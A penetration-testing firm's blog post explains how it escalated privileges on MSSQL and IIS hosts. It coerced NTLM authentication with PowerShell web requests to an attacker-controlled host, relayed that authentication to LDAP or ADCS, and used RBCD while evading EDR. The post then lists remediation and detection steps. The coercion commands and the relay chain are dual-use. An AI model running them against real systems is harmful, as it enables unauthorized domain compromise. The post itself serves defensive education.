The roadblock

Recently during an assumed breach internal pentest we were able to gain administrative privileges over the MSSQL servers within an environment, but not in a way commonly talked about. While performing enumeration of accessible hosts and shares, we came across a set of MSSQL credentials within a forgotten test web configuration file which provided us privileged access to one of the MSSQL servers in the environment. With privileged access to MSSQL there are often a few different attack paths which can be taken such as xp_dirtree, xp_cmdshell, or checking for impersonation privileges or linked server access.

After performing xp_dirtree it was identified that the host allowed outbound SMB access within the environment and we were able to capture the computer accounts hash.

Unfortunately, the domain controller had SMB signing enabled and we were unable to leverage the authentication request for relays. Next we attempted xp_cmdshell. We were able to successfully enable xp_cmdshell and achieve command execution on the underlying host as a virtual service account “NT SERVICE\MSSQLSERVER”. By performing host based enumeration, we identified that the host had impersonation privileges which could be abused but common binaries leveraged to abuse them were quickly detected. Next we attempted further enumeration of the host by checking local groups and users, but this also quickly got detected and blocked, everything except for basic command execution was blocked by the solution in place. So, how did we manage to gain administrative privileges over the host?

The road less traveled

With the xp_cmdshell route open there are a few paths that are commonly leveraged by attackers such as uploading tools to the host for privilege escalation (potato attacks), attempting to gain a reverse shell, or depending on the service account privileges attempting to add a user to a local group. Most of the time these attack paths are well known and get picked up by EDR solutions quickly as they are very noisy and predictable. But there is a path that I haven’t seen talked about all that often, if ever. We can take the basic command execution to attempt privilege escalation on the host by abusing common NTLM relaying techniques. We can leverage xp_cmdshell to perform one of the following commands.

powershell.exe -c invoke-webrequest http://<attacker ip> -usedefaultcredentials
powershell.exe -c Invoke-restmethod http://<attacker ip> -usedefaultcredentials

The above commands will perform a web request leveraging the credentials of the Windows account under which the PowerShell process is running to authenticate to the remote host. Far too often IIS or MSSQL instances are configured with a default virtual service account such as “NT SERVICE\MSSQLSERVER” or “IIS APPPOOL\DefaultAppPool“. Lucky for us, when the context in which the software is running as is a local virtual service account, as per Microsoft documentation, they will attempt access network resources by leveraging the computer accounts credentials. Because of this, by running one of the above commands we can receive an authentication request to our attack box as the underlying computer account. The best part is, this authentication is received as an HTTP NTLMv2 authentication, which as many of you may know opens up quite a few attack paths when it comes to NTLM relay.


Believe it or not this can work for IIS servers as well. If command injection has been identified against the host and if a virtual service account is in use, it can be leveraged to execute the same PowerShell command and obtain a HTTP NTLMv2 authentication request as the computer account.


Even if our target server is running as a non-default service account, the http NTLMv2 authentication received provides us with authentication which can be relayed across many different services.


The One Relay to Rule Them All

Once you have captured the initial authentication from the target host we can determine which path to take. This varies if the resulting hash is for the computer account or a user account within the domain.

Machine account: If you have identified the hash belongs to a machine account within the domain we can leverage common NTLM to relay LDAP or ADCS attacks. This will allow us to set an attacker-controlled host to the msds-allowedtoactonbehalfofotheridentity property of the target computer. From there we can perform Resource-based constrained delegation (RBCD) to achieve privilege escalation against the target.

RBCD over LDAP


User account: If the hash is identified as a user account. We can then leverage this hash for relays to LDAP or ADCS ,if its available, to perform a shadow credential attack, password reset or even request a certificate from a template granting access to the target user account throughout the environment.

ADCS


A Real world example

This method comes in handy quite often. Another scenario involved an internal IIS server running an application which was susceptible to remote command execution through an older version of ASP .NET. Due to leveraging known machine keys and an unencrypted viewstate, we were able to craft our own viewstate parameter and achieve remote command execution but hit a standstill due to user permissions and the EDR solution in place. Initially we were able to gain a reverse shell by dropping Netcat binary on the target, but we were unable to achieve privilege escalation through traditional means. Anytime an obviously malicious command was executed the reverse shell was dropped while attempts to upload other tools for privilege escalation where blocked. This is where we leveraged built-in PowerShell commands to coerce authentication from the target. The coerced authentication was then relayed to LDAP on the domain controller to add RBCD privileges to the target for a computer account we controlled. From there a domain administrator was impersonated to gain administrative privileges on the target where finally a valid domain administrator TGT was sitting in memory.

Remediation and detection techniques

Luckily there are a lot of different remediation steps that can be taken for this technique, below we cover some of the remediations specific to IIS and MSSQL services.

IIS:

  • Use a dedicated gMSA when an application legitimately requires a domain network identity.
  • Grant that gMSA access only to explicitly required resources.
  • Review privileges granted to DOMAIN\WEBSERVER$.
  • Use separate application pools for applications with different trust boundaries.
  • Block unnecessary outbound SMB and other authentication-capable connections.
  • Review application functionality that accepts attacker-controlled URLs, UNC paths, redirects, or remote resource locations.
  • Reduce or disable NTLM authentication, enforce kerberos based authentication and implement relay protections.
  • Enable monitoring, alerting, and or blocking for process creations from w3wp.exe for suspicious child processes such as cmd.exe or powershell.exe.
  • Enable monitoring, alerting, and or blocking for Outbound SMB to unusual destinations.

MSSQL:

  • Use a dedicated gMSA if SQL Server legitimately needs controlled domain-resource access.
  • Grant that gMSA access only to explicitly required resources.
  • Review privileges held by DOMAIN\SQLSERVER$.
  • Block unnecessary outbound SMB/HTTP connectivity.
  • Restrict or disable xp_cmdshell where operationally feasible.
  • Restrict SQL administrative privileges that could enable OS-level execution.
  • Review SQL Agent proxies, credentials and jobs for alternate execution mechanisms.
  • Reduce or disable NTLM authentication, enforce kerberos based authentication and implement relay protections.
  • Enable monitoring, alerting, and or blocking for process creations from sqlserver.exe for suspicious child processes such as cmd.exe or powershell.exe.
  • Enable monitoring, alerting, and or blocking for Outbound SMB to unusual destinations.

Additional broader actions can be taken across other services within the environment such as review shares for plaintext credentials or configuration files containing plaintext credentials, implementing NTLM relay protections, implementing LDAP singing and channel binding, as well as ADCS template and configuration review.

How we can help

This is why it is important to keep a strong security baseline within an environment and perform regular pentesting activities. In both of the above scenarios the solutions in place worked well at detecting and blocking obviously malicious commands that are commonly abused and known malicious tools. At a glance, a strong EDR solution can look like the ultimate defense within the environment, but, what happens when it’s a not so suspicious command that’s executed and a computer account that modifies its own attributes? Here at AprosSyber we have a broad range of services available to assist your team in securing your environment. During testing we are consistently taking thorough and detailed notes on which techniques worked and which were detected to be able to provide you with as much valuable feedback as possible, whether it’s a detection capability assessment, an internal penetration test, or red team engagement.

  • Have you ever checked your EDR’s detection capabilities?
  • Is your EDR in active response mode? Have you ever tested it?
  • Are you able to differentiate between legitimate traffic and malicious traffic?